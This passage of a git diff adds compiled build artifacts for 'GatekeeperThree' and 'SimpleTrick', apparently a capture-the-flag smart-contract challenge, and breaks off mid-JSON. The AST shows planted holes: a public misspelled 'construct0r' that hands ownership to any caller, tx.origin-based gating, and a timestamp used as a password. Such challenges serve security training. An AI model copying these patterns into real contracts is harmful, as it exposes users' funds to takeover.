SimpleTrick"},"typeName":{"id":52750,"nodeType":"UserDefinedTypeName","pathNode":{"id":52749,"name":"SimpleTrick","nameLocations":["846:11:83"],"nodeType":"IdentifierPath","referencedDeclaration":52742,"src":"846:11:83"},"referencedDeclaration":52742,"src":"846:11:83","typeDescriptions":{"typeIdentifier":"t_contract$_SimpleTrick_$52742","typeString":"contract SimpleTrick"}},"visibility":"public"},{"id":52760,"nodeType":"FunctionDefinition","src":"877:65:83","nodes":[],"body":{"id":52759,"nodeType":"Block","src":"907:35:83","nodes":[],"statements":[{"expression":{"id":52757,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":52754,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52744,"src":"917:5:83","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":52755,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"925:3:83","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":52756,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"929:6:83","memberName":"sender","nodeType":"MemberAccess","src":"925:10:83","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"917:18:83","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":52758,"nodeType":"ExpressionStatement","src":"917:18:83"}]},"functionSelector":"b9966e56","implemented":true,"kind":"function","modifiers":[],"name":"construct0r","nameLocation":"886:11:83","parameters":{"id":52752,"nodeType":"ParameterList","parameters":[],"src":"897:2:83"},"returnParameters":{"id":52753,"nodeType":"ParameterList","parameters":[],"src":"907:0:83"},"scope":52870,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":52778,"nodeType":"ModifierDefinition","src":"948:112:83","nodes":[],"body":{"id":52777,"nodeType":"Block","src":"967:93:83","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":52766,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":52763,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"985:3:83","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":52764,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"989:6:83","memberName":"sender","nodeType":"MemberAccess","src":"985:10:83","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":52765,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52744,"src":"999:5:83","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"985:19:83","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":52762,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"977:7:83","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":52767,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"977:28:83","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":52768,"nodeType":"ExpressionStatement","src":"977:28:83"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":52773,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":52770,"name":"tx","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-26,"src":"1023:2:83","typeDescriptions":{"typeIdentifier":"t_magic_transaction","typeString":"tx"}},"id":52771,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1026:6:83","memberName":"origin","nodeType":"MemberAccess","src":"1023:9:83","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"id":52772,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52744,"src":"1036:5:83","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1023:18:83","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":52769,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1015:7:83","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":52774,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1015:27:83","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":52775,"nodeType":"ExpressionStatement","src":"1015:27:83"},{"id":52776,"nodeType":"PlaceholderStatement","src":"1052:1:83"}]},"name":"gateOne","nameLocation":"957:7:83","parameters":{"id":52761,"nodeType":"ParameterList","parameters":[],"src":"964:2:83"},"virtual":false,"visibility":"internal"},{"id":52788,"nodeType":"ModifierDefinition","src":"1066:77:83","nodes":[],"body":{"id":52787,"nodeType":"Block","src":"1085:58:83","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":52783,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":52781,"name":"allowEntrance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52748,"src":"1103:13:83","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"74727565","id":52782,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"1120:4:83","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"src":"1103:21:83","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":52780,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1095:7:83","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":52784,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1095:30:83","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":52785,"nodeType":"ExpressionStatement","src":"1095:30:83"},{"id":52786,"nodeType":"PlaceholderStatement","src":"1135:1:83"}]},"name":"gateTwo","nameLocation":"1075:7:83","parameters":{"id":52779,"nodeType":"ParameterList","parameters":[],"src":"1082:2:83"},"virtual":false,"visibility":"internal"},{"id":52811,"nodeType":"ModifierDefinition","src":"1149:149:83","nodes":[],"body":{"id":52810,"nodeType":"Block","src":"1170:128:83","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":52806,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":52796,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"arguments":[{"id":52792,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"1192:4:83","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperThree_$52870","typeString":"contract GatekeeperThree"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_GatekeeperThree_$52870","typeString":"contract GatekeeperThree"}],"id":52791,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1184:7:83","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":52790,"name":"address","nodeType":"ElementaryTypeName","src":"1184:7:83","typeDescriptions":{}}},"id":52793,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1184:13:83","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":52794,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1198:7:83","memberName":"balance","nodeType":"MemberAccess","src":"1184:21:83","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"hexValue":"302e303031","id":52795,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1208:11:83","subdenomination":"ether","typeDescriptions":{"typeIdentifier":"t_rational_1000000000000000_by_1","typeString":"int_const 1000000000000000"},"value":"0.001"},"src":"1184:35:83","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"&&","rightExpression":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":52805,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"hexValue":"302e303031","id":52802,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1243:11:83","subdenomination":"ether","typeDescriptions":{"typeIdentifier":"t_rational_1000000000000000_by_1","typeString":"int_const 1000000000000000"},"value":"0.001"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_1000000000000000_by_1","typeString":"int_const 1000000000000000"}],"expression":{"arguments":[{"id":52799,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52744,"src":"1231:5:83","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":52798,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1223:8:83","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":52797,"name":"address","nodeType":"ElementaryTypeName","src":"1223:8:83","stateMutability":"payable","typeDescriptions":{}}},"id":52800,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1223:14:83","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":52801,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1238:4:83","memberName":"send","nodeType":"MemberAccess","src":"1223:19:83","typeDescriptions":{"typeIdentifier":"t_function_send_nonpayable$_t_uint256_$returns$_t_bool_$","typeString":"function (uint256) returns (bool)"}},"id":52803,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1223:32:83","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"66616c7365","id":52804,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"1259:5:83","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},"src":"1223:41:83","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"1184:80:83","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":52809,"nodeType":"IfStatement","src":"1180:112:83","trueBody":{"id":52808,"nodeType":"Block","src":"1266:26:83","statements":[{"id":52807,"nodeType":"PlaceholderStatement","src":"1280:1:83"}]}}]},"name":"gateThree","nameLocation":"1158:9:83","parameters":{"id":52789,"nodeType":"ParameterList","parameters":[],"src":"1167:2:83"},"virtual":false,"visibility":"internal"},{"id":52827,"nodeType":"FunctionDefinition","src":"1304:145:83","nodes":[],"body":{"id":52826,"nodeType":"Block","src":"1352:97:83","nodes":[],"statements":[{"condition":{"arguments":[{"id":52818,"name":"_password","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52813,"src":"1386:9:83","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":52816,"name":"trick","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52751,"src":"1366:5:83","typeDescriptions":{"typeIdentifier":"t_contract$_SimpleTrick_$52742","typeString":"contract SimpleTrick"}},"id":52817,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1372:13:83","memberName":"checkPassword","nodeType":"MemberAccess","referencedDeclaration":52704,"src":"1366:19:83","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_uint256_$returns$_t_bool_$","typeString":"function (uint256) external returns (bool)"}},"id":52819,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1366:30:83","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":52825,"nodeType":"IfStatement","src":"1362:81:83","trueBody":{"id":52824,"nodeType":"Block","src":"1398:45:83","statements":[{"expression":{"id":52822,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":52820,"name":"allowEntrance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52748,"src":"1412:13:83","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"74727565","id":52821,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"1428:4:83","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"src":"1412:20:83","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":52823,"nodeType":"ExpressionStatement","src":"1412:20:83"}]}}]},"functionSelector":"c960174e","implemented":true,"kind":"function","modifiers":[],"name":"getAllowance","nameLocation":"1313:12:83","parameters":{"id":52814,"nodeType":"ParameterList","parameters":[{"constant":false,"id":52813,"mutability":"mutable","name":"_password","nameLocation":"1334:9:83","nodeType":"VariableDeclaration","scope":52827,"src":"1326:17:83","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":52812,"name":"uint256","nodeType":"ElementaryTypeName","src":"1326:7:83","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1325:19:83"},"returnParameters":{"id":52815,"nodeType":"ParameterList","parameters":[],"src":"1352:0:83"},"scope":52870,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":52850,"nodeType":"FunctionDefinition","src":"1455:121:83","nodes":[],"body":{"id":52849,"nodeType":"Block","src":"1485:91:83","nodes":[],"statements":[{"expression":{"id":52842,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":52830,"name":"trick","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52751,"src":"1495:5:83","typeDescriptions":{"typeIdentifier":"t_contract$_SimpleTrick_$52742","typeString":"contract SimpleTrick"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"arguments":[{"id":52838,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"1535:4:83","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperThree_$52870","typeString":"contract GatekeeperThree"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_GatekeeperThree_$52870","typeString":"contract GatekeeperThree"}],"id":52837,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1527:7:83","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":52836,"name":"address","nodeType":"ElementaryTypeName","src":"1527:7:83","typeDescriptions":{}}},"id":52839,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1527:13:83","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":52835,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1519:8:83","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":52834,"name":"address","nodeType":"ElementaryTypeName","src":"1519:8:83","stateMutability":"payable","typeDescriptions":{}}},"id":52840,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1519:22:83","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":52833,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"1503:15:83","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$_t_address_payable_$returns$_t_contract$_SimpleTrick_$52742_$","typeString":"function (address payable) returns (contract SimpleTrick)"},"typeName":{"id":52832,"nodeType":"UserDefinedTypeName","pathNode":{"id":52831,"name":"SimpleTrick","nameLocations":["1507:11:83"],"nodeType":"IdentifierPath","referencedDeclaration":52742,"src":"1507:11:83"},"referencedDeclaration":52742,"src":"1507:11:83","typeDescriptions":{"typeIdentifier":"t_contract$_SimpleTrick_$52742","typeString":"contract SimpleTrick"}}},"id":52841,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1503:39:83","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_SimpleTrick_$52742","typeString":"contract SimpleTrick"}},"src":"1495:47:83","typeDescriptions":{"typeIdentifier":"t_contract$_SimpleTrick_$52742","typeString":"contract SimpleTrick"}},"id":52843,"nodeType":"ExpressionStatement","src":"1495:47:83"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":52844,"name":"trick","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52751,"src":"1552:5:83","typeDescriptions":{"typeIdentifier":"t_contract$_SimpleTrick_$52742","typeString":"contract SimpleTrick"}},"id":52846,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1558:9:83","memberName":"trickInit","nodeType":"MemberAccess","referencedDeclaration":52715,"src":"1552:15:83","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":52847,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1552:17:83","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":52848,"nodeType":"ExpressionStatement","src":"1552:17:83"}]},"functionSelector":"f7edf099","implemented":true,"kind":"function","modifiers":[],"name":"createTrick","nameLocation":"1464:11:83","parameters":{"id":52828,"nodeType":"ParameterList","parameters":[],"src":"1475:2:83"},"returnParameters":{"id":52829,"nodeType":"ParameterList","parameters":[],"src":"1485:0:83"},"scope":52870,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":52865,"nodeType":"FunctionDefinition","src":"1582:86:83","nodes":[],"body":{"id":52864,"nodeType":"Block","src":"1632:36:83","nodes":[],"statements":[{"expression":{"id":52862,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":52859,"name":"entrant","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52746,"src":"1642:7:83","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":52860,"name":"tx","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-26,"src":"1652:2:83","typeDescriptions":{"typeIdentifier":"t_magic_transaction","typeString":"tx"}},"id":52861,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1655:6:83","memberName":"origin","nodeType":"MemberAccess","src":"1652:9:83","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1642:19:83","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":52863,"nodeType":"ExpressionStatement","src":"1642:19:83"}]},"functionSelector":"e97dcb62","implemented":true,"kind":"function","modifiers":[{"id":52853,"kind":"modifierInvocation","modifierName":{"id":52852,"name":"gateOne","nameLocations":["1606:7:83"],"nodeType":"IdentifierPath","referencedDeclaration":52778,"src":"1606:7:83"},"nodeType":"ModifierInvocation","src":"1606:7:83"},{"id":52855,"kind":"modifierInvocation","modifierName":{"id":52854,"name":"gateTwo","nameLocations":["1614:7:83"],"nodeType":"IdentifierPath","referencedDeclaration":52788,"src":"1614:7:83"},"nodeType":"ModifierInvocation","src":"1614:7:83"},{"id":52857,"kind":"modifierInvocation","modifierName":{"id":52856,"name":"gateThree","nameLocations":["1622:9:83"],"nodeType":"IdentifierPath","referencedDeclaration":52811,"src":"1622:9:83"},"nodeType":"ModifierInvocation","src":"1622:9:83"}],"name":"enter","nameLocation":"1591:5:83","parameters":{"id":52851,"nodeType":"ParameterList","parameters":[],"src":"1596:2:83"},"returnParameters":{"id":52858,"nodeType":"ParameterList","parameters":[],"src":"1632:0:83"},"scope":52870,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":52869,"nodeType":"FunctionDefinition","src":"1674:29:83","nodes":[],"body":{"id":52868,"nodeType":"Block","src":"1701:2:83","nodes":[],"statements":[]},"implemented":true,"kind":"receive","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":52866,"nodeType":"ParameterList","parameters":[],"src":"1681:2:83"},"returnParameters":{"id":52867,"nodeType":"ParameterList","parameters":[],"src":"1701:0:83"},"scope":52870,"stateMutability":"payable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"GatekeeperThree","contractDependencies":[52742],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[52870],"name":"GatekeeperThree","nameLocation":"738:15:83","scope":52871,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":83} \ No newline at end of file diff --git a/contracts/out/GatekeeperThree.sol/SimpleTrick.json b/contracts/out/GatekeeperThree.sol/SimpleTrick.json new file mode 100644 index 000000000..95fb970f4 --- /dev/null +++ b/contracts/out/GatekeeperThree.sol/SimpleTrick.json @@ -0,0 +1 @@ +{"abi":[{"type":"constructor","inputs":[{"name":"_target","type":"address","internalType":"address payable"}],"stateMutability":"nonpayable"},{"type":"function","name":"checkPassword","inputs":[{"name":"_password","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"target","inputs":[],"outputs":[{"name":"","type":"address","internalType":"contract GatekeeperThree"}],"stateMutability":"view"},{"type":"function","name":"trick","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"trickInit","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"trickyTrick","inputs":[],"outputs":[],"stateMutability":"nonpayable"}],"bytecode":{"object":"0x608060405242600255348015610013575f80fd5b5060405161029b38038061029b83398101604081905261003291610056565b5f80546001600160a01b0319166001600160a01b0392909216919091179055610083565b5f60208284031215610066575f80fd5b81516001600160a01b038116811461007c575f80fd5b9392505050565b61020b806100905f395ff3fe608060405234801561000f575f80fd5b5060043610610064575f3560e01c80639e4b2e471161004d5780639e4b2e47146100c9578063b7e00291146100ec578063d4b83992146100f4575f80fd5b80634cbb817f14610068578063690da2b214610099575b5f80fd5b610097600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001630179055565b005b6001546100ac906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6100dc6100d73660046101be565b610106565b60405190151581526020016100c0565b610097610122565b5f546100ac906001600160a01b031681565b5f600254820361011857506001919050565b5050426002555f90565b303314801561013c57506001546001600160a01b03163014155b156101bc575f546002546040517fc960174e0000000000000000000000000000000000000000000000000000000081526001600160a01b039092169163c960174e9161018e9160040190815260200190565b5f604051808303815f87803b1580156101a5575f80fd5b505af11580156101b7573d5f803e3d5ffd5b505050505b565b5f602082840312156101ce575f80fd5b503591905056fea264697066735822122092638c9cf5903636f306a28729cd199a98c3e40cf6090bb4885432dde697b21d64736f6c63430008180033","sourceMap":"57:670:83:-:0;;;172:15;145:42;;194:87;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;241:6;:33;;-1:-1:-1;;;;;;241:33:83;-1:-1:-1;;;;;241:33:83;;;;;;;;;;57:670;;14:298:155;92:6;145:2;133:9;124:7;120:23;116:32;113:52;;;161:1;158;151:12;113:52;187:16;;-1:-1:-1;;;;;232:31:155;;222:42;;212:70;;278:1;275;268:12;212:70;301:5;14:298;-1:-1:-1;;;14:298:155:o;:::-;57:670:83;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801561000f575f80fd5b5060043610610064575f3560e01c80639e4b2e471161004d5780639e4b2e47146100c9578063b7e00291146100ec578063d4b83992146100f4575f80fd5b80634cbb817f14610068578063690da2b214610099575b5f80fd5b610097600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001630179055565b005b6001546100ac906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6100dc6100d73660046101be565b610106565b60405190151581526020016100c0565b610097610122565b5f546100ac906001600160a01b031681565b5f600254820361011857506001919050565b5050426002555f90565b303314801561013c57506001546001600160a01b03163014155b156101bc575f546002546040517fc960174e0000000000000000000000000000000000000000000000000000000081526001600160a01b039092169163c960174e9161018e9160040190815260200190565b5f604051808303815f87803b1580156101a5575f80fd5b505af11580156101b7573d5f803e3d5ffd5b505050505b565b5f602082840312156101ce575f80fd5b503591905056fea264697066735822122092638c9cf5903636f306a28729cd199a98c3e40cf6090bb4885432dde697b21d64736f6c63430008180033","sourceMap":"57:670:83:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;494:66;;532:5;:21;;;;548:4;532:21;;;494:66;;;119:20;;;;;-1:-1:-1;;;;;119:20:83;;;;;;-1:-1:-1;;;;;178:55:155;;;160:74;;148:2;133:18;119:20:83;;;;;;;;287:201;;;;;;:::i;:::-;;:::i;:::-;;;595:14:155;;588:22;570:41;;558:2;543:18;287:201:83;430:187:155;566:159:83;;;:::i;84:29::-;;;;;-1:-1:-1;;;;;84:29:83;;;287:201;345:4;378:8;;365:9;:21;361:63;;-1:-1:-1;409:4:83;;287:201;-1:-1:-1;287:201:83:o;361:63::-;-1:-1:-1;;444:15:83;433:8;:26;476:5;;287:201::o;566:159::-;618:4;627:10;610:27;:53;;;;-1:-1:-1;658:5:83;;-1:-1:-1;;;;;658:5:83;649:4;641:22;;610:53;606:113;;;679:6;;699:8;;679:29;;;;;-1:-1:-1;;;;;679:6:83;;;;:19;;:29;;;;1032:25:155;;;1020:2;1005:18;;886:177;679:29:83;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;606:113;566:159::o;245:180:155:-;304:6;357:2;345:9;336:7;332:23;328:32;325:52;;;373:1;370;363:12;325:52;-1:-1:-1;396:23:155;;245:180;-1:-1:-1;245:180:155:o","linkReferences":{}},"methodIdentifiers":{"checkPassword(uint256)":"9e4b2e47","target()":"d4b83992","trick()":"690da2b2","trickInit()":"4cbb817f","trickyTrick()":"b7e00291"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address payable\",\"name\":\"_target\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_password\",\"type\":\"uint256\"}],\"name\":\"checkPassword\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"target\",\"outputs\":[{\"internalType\":\"contract 